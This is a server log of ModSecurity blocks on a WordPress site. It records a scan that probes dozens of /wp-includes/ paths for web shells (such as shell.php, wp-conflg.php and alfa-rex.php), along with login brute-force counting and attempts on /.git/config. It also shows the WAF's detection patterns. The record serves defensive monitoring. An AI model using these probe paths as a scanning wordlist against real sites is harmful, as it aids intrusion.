[Sun Dec 07 05:09:38.693662 2025] [:error] [pid 34108:tid 34134] [client 45.146.55.21:20125] [client 45.146.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTSbkqLvdvAppF-gXoslHAAAABU"]
[Sun Dec 07 05:09:39.539331 2025] [:error] [pid 34195:tid 34213] [client 45.146.55.14:23891] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aTSbkxrSxOOdwv3vX3xV1QAAAM8"]
[Sun Dec 07 05:09:40.827985 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.49:32887] [client 45.146.55.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aTSblPpR7YTD7JcHjhGSJAAAAVU"]
[Sun Dec 07 05:09:42.547928 2025] [:error] [pid 34109:tid 34153] [client 45.146.55.12:35467] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aTSblojE_vucgM_xD4Tz5gAAAE0"]
[Sun Dec 07 05:09:44.263891 2025] [:error] [pid 34109:tid 34150] [client 45.146.55.23:32881] [client 45.146.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aTSbmIjE_vucgM_xD4T0DAAAAEo"]
[Sun Dec 07 05:09:45.103671 2025] [:error] [pid 34110:tid 34189] [client 45.146.55.15:43103] [client 45.146.55.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aTSbmQndtmtsHiXHBO2T9QAAAJY"]
[Sun Dec 07 05:09:46.384222 2025] [:error] [pid 34195:tid 34198] [client 45.146.55.36:58141] [client 45.146.55.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aTSbmhrSxOOdwv3vX3xWJAAAAMA"]
[Sun Dec 07 05:09:47.224779 2025] [:error] [pid 34195:tid 34199] [client 45.146.55.50:65301] [client 45.146.55.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aTSbmxrSxOOdwv3vX3xWLgAAAME"]
[Sun Dec 07 05:09:48.939963 2025] [:error] [pid 34195:tid 34211] [client 45.146.55.26:30447] [client 45.146.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aTSbnBrSxOOdwv3vX3xWRAAAAM0"]
[Sun Dec 07 05:09:50.221650 2025] [:error] [pid 7089:tid 7103] [client 45.146.55.49:61565] [client 45.146.55.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aTSbnoJPZ-pZM-y51NHk7QAAAQw"]
[Sun Dec 07 05:09:51.064614 2025] [:error] [pid 7089:tid 7099] [client 45.146.55.26:27997] [client 45.146.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aTSbn4JPZ-pZM-y51NHk8wAAAQg"]
[Sun Dec 07 05:09:51.955094 2025] [:error] [pid 34109:tid 34141] [client 45.146.55.56:62673] [client 45.146.55.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aTSbn4jE_vucgM_xD4T0iAAAAEE"]
[Sun Dec 07 05:09:54.119652 2025] [:error] [pid 34110:tid 34167] [client 45.146.55.25:27679] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aTSbogndtmtsHiXHBO2UeQAAAIA"]
[Sun Dec 07 05:09:55.861246 2025] [:error] [pid 7089:tid 7111] [client 45.146.55.35:60769] [client 45.146.55.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aTSbo4JPZ-pZM-y51NHlIQAAARQ"]
[Sun Dec 07 05:09:57.148939 2025] [:error] [pid 13234:tid 13250] [client 45.146.55.18:38791] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aTSbpe6_dquQqQ60IZ-YNQAAAYk"]
[Sun Dec 07 05:09:58.431966 2025] [:error] [pid 7273:tid 7289] [client 45.146.55.27:52717] [client 45.146.55.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTSbpvpR7YTD7JcHjhGTEgAAAU4"]
[Sun Dec 07 05:10:01.943057 2025] [:error] [pid 34109:tid 34155] [client 45.146.55.43:57311] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aTSbqYjE_vucgM_xD4T1IwAAAE8"]
[Sun Dec 07 05:10:02.794492 2025] [:error] [pid 34108:tid 34137] [client 45.146.55.62:31121] [client 45.146.55.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aTSbqqLvdvAppF-gXosmIwAAABg"]
[Sun Dec 07 05:10:04.541153 2025] [:error] [pid 13234:tid 13255] [client 45.146.55.42:40897] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aTSbrO6_dquQqQ60IZ-YrAAAAY4"]
[Sun Dec 07 05:10:07.255090 2025] [:error] [pid 7273:tid 7276] [client 45.146.55.55:26341] [client 45.146.55.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aTSbr_pR7YTD7JcHjhGTnQAAAUE"]
[Sun Dec 07 05:10:08.994169 2025] [:error] [pid 7273:tid 7297] [client 45.146.55.14:26427] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aTSbsPpR7YTD7JcHjhGTvgAAAVY"]
[Sun Dec 07 05:10:10.704765 2025] [:error] [pid 7089:tid 7102] [client 45.146.55.27:54609] [client 45.146.55.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aTSbsoJPZ-pZM-y51NHlrQAAAQs"]
[Sun Dec 07 05:10:11.987856 2025] [:error] [pid 34108:tid 34133] [client 45.146.55.58:65315] [client 45.146.55.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aTSbs6LvdvAppF-gXosmmAAAABQ"]
[Sun Dec 07 05:10:13.320395 2025] [:error] [pid 34195:tid 34205] [client 45.146.55.31:43037] [client 45.146.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aTSbtRrSxOOdwv3vX3xXWAAAAMc"]
[Sun Dec 07 05:10:15.937416 2025] [:error] [pid 34109:tid 34163] [client 45.146.55.39:26051] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aTSbt4jE_vucgM_xD4T1twAAAFc"]
[Sun Dec 07 05:10:18.116564 2025] [:error] [pid 13234:tid 13265] [client 45.146.55.19:36785] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aTSbuu6_dquQqQ60IZ-ZbAAAAZg"]
[Sun Dec 07 05:10:19.035843 2025] [proxy_fcgi:error] [pid 13234:tid 13252] [client 45.146.55.29:27729] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:10:19.471174 2025] [:error] [pid 13234:tid 13244] [client 45.146.55.29:27729] [client 45.146.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aTSbu-6_dquQqQ60IZ-ZhQAAAYM"]
[Sun Dec 07 05:10:20.348071 2025] [:error] [pid 34110:tid 34191] [client 45.146.55.48:22519] [client 45.146.55.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aTSbvAndtmtsHiXHBO2V4wAAAJg"]
[Sun Dec 07 05:10:22.089136 2025] [:error] [pid 13234:tid 13247] [client 45.146.55.20:46143] [client 45.146.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aTSbvu6_dquQqQ60IZ-ZwgAAAYY"]
[Sun Dec 07 05:10:22.961970 2025] [:error] [pid 13234:tid 13252] [client 45.146.55.43:34789] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aTSbvu6_dquQqQ60IZ-Z0gAAAYs"]
[Sun Dec 07 05:10:26.457935 2025] [:error] [pid 34110:tid 34177] [client 45.146.55.18:28833] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aTSbwgndtmtsHiXHBO2WNwAAAIo"]
[Sun Dec 07 05:10:27.316821 2025] [:error] [pid 34109:tid 34152] [client 45.146.55.14:48349] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aTSbw4jE_vucgM_xD4T2LAAAAEw"]
[Sun Dec 07 05:10:28.602002 2025] [:error] [pid 34110:tid 34182] [client 45.146.55.48:27183] [client 45.146.55.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aTSbxAndtmtsHiXHBO2WUwAAAI8"]
[Sun Dec 07 05:10:29.464829 2025] [:error] [pid 7089:tid 7094] [client 45.146.55.38:46655] [client 45.146.55.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aTSbxYJPZ-pZM-y51NHmdgAAAQM"]
[Sun Dec 07 05:10:30.307761 2025] [:error] [pid 34195:tid 34202] [client 45.146.55.16:61411] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aTSbxhrSxOOdwv3vX3xYEAAAAMQ"]
[Sun Dec 07 05:10:31.151613 2025] [:error] [pid 13234:tid 13252] [client 45.146.55.38:43603] [client 45.146.55.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aTSbx-6_dquQqQ60IZ-acQAAAYs"]
[Sun Dec 07 05:10:33.772040 2025] [:error] [pid 34108:tid 34114] [client 45.146.55.43:44153] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aTSbyaLvdvAppF-gXosnmgAAAAE"]
[Sun Dec 07 05:10:34.640966 2025] [:error] [pid 34195:tid 34202] [client 45.146.55.45:59695] [client 45.146.55.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aTSbyhrSxOOdwv3vX3xYUgAAAMQ"]
[Sun Dec 07 05:10:36.349644 2025] [:error] [pid 7089:tid 7100] [client 45.146.55.29:59129] [client 45.146.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aTSbzIJPZ-pZM-y51NHmyQAAAQk"]
[Sun Dec 07 05:10:37.190964 2025] [:error] [pid 13234:tid 13245] [client 45.146.55.44:31943] [client 45.146.55.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aTSbze6_dquQqQ60IZ-aygAAAYQ"]
[Sun Dec 07 05:10:38.894948 2025] [:error] [pid 7089:tid 7099] [client 45.146.55.52:50443] [client 45.146.55.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aTSbzoJPZ-pZM-y51NHm4wAAAQg"]
[Sun Dec 07 05:10:39.745741 2025] [:error] [pid 7089:tid 7113] [client 45.146.55.61:35613] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aTSbz4JPZ-pZM-y51NHm9AAAARY"]
[Sun Dec 07 05:10:43.717847 2025] [:error] [pid 7273:tid 7295] [client 45.146.55.49:40041] [client 45.146.55.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aTSb0_pR7YTD7JcHjhGV2AAAAVQ"]
[Sun Dec 07 05:10:44.574487 2025] [:error] [pid 34110:tid 34174] [client 45.146.55.61:26895] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aTSb1AndtmtsHiXHBO2XZAAAAIc"]
[Sun Dec 07 05:10:46.313138 2025] [:error] [pid 34108:tid 34137] [client 45.146.55.46:40095] [client 45.146.55.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aTSb1qLvdvAppF-gXosoUQAAABg"]
[Sun Dec 07 05:10:47.595948 2025] [:error] [pid 13234:tid 13251] [client 45.146.55.21:51825] [client 45.146.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aTSb1-6_dquQqQ60IZ-bjwAAAYo"]
[Sun Dec 07 05:10:48.914901 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.16:23693] [client 45.146.55.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aTSb2PpR7YTD7JcHjhGWNwAAAVU"]
[Sun Dec 07 05:51:10.857918 2025] [:error] [pid 34110:tid 34168] [client 136.144.43.219:30875] [client 136.144.43.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.219, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTSlTgndtmtsHiXHBO2xWQAAAIE"]
[Sun Dec 07 05:51:16.063210 2025] [:error] [pid 34109:tid 34145] [client 136.144.43.237:34663] [client 136.144.43.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.237, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTSlVIjE_vucgM_xD4QR-wAAAEU"]
[Sun Dec 07 13:46:07.297697 2025] [:error] [pid 25601:tid 25636] [client 85.209.135.111:38054] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTUUn6tsSIqGPs4YVxEoFQAAAIE"]
[Sun Dec 07 13:51:37.690252 2025] [:error] [pid 25601:tid 25646] [client 85.209.135.111:44080] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTUV6atsSIqGPs4YVxEoswAAAIs"]
